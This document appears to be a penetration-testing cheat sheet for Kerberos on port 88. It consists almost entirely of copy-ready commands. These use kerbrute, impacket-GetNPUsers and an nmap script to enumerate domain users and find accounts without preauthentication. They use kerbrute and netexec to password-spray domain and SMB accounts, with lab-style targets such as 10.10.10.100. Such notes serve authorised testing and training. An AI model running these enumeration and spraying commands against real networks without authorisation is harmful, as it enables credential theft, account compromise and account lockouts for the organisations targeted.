# 88 - Kerberos

### Enumerate Kerberos Users

```bash
# Brute force usernames from Kerberos 
kerbrute userenum -d candy.LOCAL /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt --dc 10.10.10.100

# Give all users have Do not require Kerberos preauthentication
impacket-GetNPUsers candy.local/ -dc-ip 10.10.10.100

# Give all users have Do not require Kerberos preauthentication
nmap -sV --script krb5-enum-users --script-args krb5-enum-users.realm='candy.local',userdb='/usr/share/wordlist/userlist.txt' 10.10.10.100 -p88
```

### Kerberos Password Spraying

{% code overflow="wrap" %}

```bash
# Kerbrute will perform a horizontal brute force attack against a list of domain users. This is useful for testing one or two common passwords when you have a large list of users. WARNING: this does will increment the failed login count and lock out accounts.
kerbrute passwordspray -d lab.ponpor.com --dc 10.10.10.100 domain_users.txt Password123

# Password spray using SMB protocol with the users.txt
netexec smb toffee.bth -u Users.txt -p 'password1'

# Password spray using SMB protocol with the users.txt for domain users
netexec smb 10.10.10.100 -d toffee.bth -u Users.txt -p 'password1' --continue-on-success

# Password spray using SMB protocol with the users.txt for non domain users
netexec smb 10.10.10.0/24 -u Users.txt -p 'password1' --continue-on-success
```
